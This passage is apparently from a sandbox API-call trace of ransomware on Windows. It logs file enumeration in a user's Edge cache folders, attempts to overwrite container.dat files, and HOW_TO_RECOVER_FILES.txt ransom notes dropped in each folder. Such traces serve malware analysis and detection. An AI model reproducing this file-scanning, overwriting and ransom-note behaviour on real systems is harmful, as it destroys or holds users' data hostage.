lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0203.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0203.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x474 [0203.765] GetFileType (hFile=0x474) returned 0x1 [0203.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0203.765] GetFileType (hFile=0x474) returned 0x1 [0203.765] WriteFile (in: hFile=0x474, lpBuffer=0x34c9f88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x34c9f88*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0203.766] CloseHandle (hObject=0x474) returned 1 [0203.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0203.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", lpFilePart=0x0) returned 0x5a [0203.767] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0203.767] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0203.768] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0203.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0203.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0203.768] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua", lpFilePart=0x0) returned 0x5a [0203.768] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0203.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0203.768] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0203.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0203.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", lpFilePart=0x0) returned 0x68 [0203.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0203.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x34d98d8 | out: lpFileInformation=0x34d98d8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0203.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0203.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", lpFilePart=0x0) returned 0x68 [0203.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0203.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x474 [0203.769] GetFileType (hFile=0x474) returned 0x1 [0203.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0203.769] GetFileType (hFile=0x474) returned 0x1 [0203.769] GetFileSize (in: hFile=0x474, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0203.769] CloseHandle (hObject=0x474) returned 1 [0203.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", lpFilePart=0x0) returned 0x68 [0203.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0203.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0203.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0203.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0203.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0203.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x474 [0203.803] GetFileType (hFile=0x474) returned 0x1 [0203.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0203.803] GetFileType (hFile=0x474) returned 0x1 [0203.804] WriteFile (in: hFile=0x474, lpBuffer=0x3553b18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x3553b18*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0203.804] CloseHandle (hObject=0x474) returned 1 [0203.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0203.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", lpFilePart=0x0) returned 0x5b [0203.805] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0203.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0203.806] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0203.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0203.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0203.806] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead", lpFilePart=0x0) returned 0x5b [0203.893] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0206.291] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0206.291] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.292] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0206.292] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0206.292] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0206.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0206.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0206.292] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", lpFilePart=0x0) returned 0x69 [0206.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0206.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x35bfa48 | out: lpFileInformation=0x35bfa48*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0206.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0206.292] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", lpFilePart=0x0) returned 0x69 [0206.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0206.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0206.293] GetFileType (hFile=0x644) returned 0x1 [0206.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0206.293] GetFileType (hFile=0x644) returned 0x1 [0206.293] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0206.293] CloseHandle (hObject=0x644) returned 1 [0206.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", lpFilePart=0x0) returned 0x69 [0206.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0206.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0206.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0206.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0206.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0206.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0207.567] GetFileType (hFile=0x834) returned 0x1 [0207.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0207.567] GetFileType (hFile=0x834) returned 0x1 [0207.568] WriteFile (in: hFile=0x834, lpBuffer=0x356a390*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x356a390*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0207.801] CloseHandle (hObject=0x834) returned 1 [0208.525] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0208.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0208.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0208.526] GetFileType (hFile=0x858) returned 0x1 [0208.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0208.526] GetFileType (hFile=0x858) returned 0x1 [0208.526] WriteFile (in: hFile=0x858, lpBuffer=0x34fbf40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x34fbf40*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0208.527] CloseHandle (hObject=0x858) returned 1 [0208.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0208.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", lpFilePart=0x0) returned 0x30 [0208.528] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.529] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, 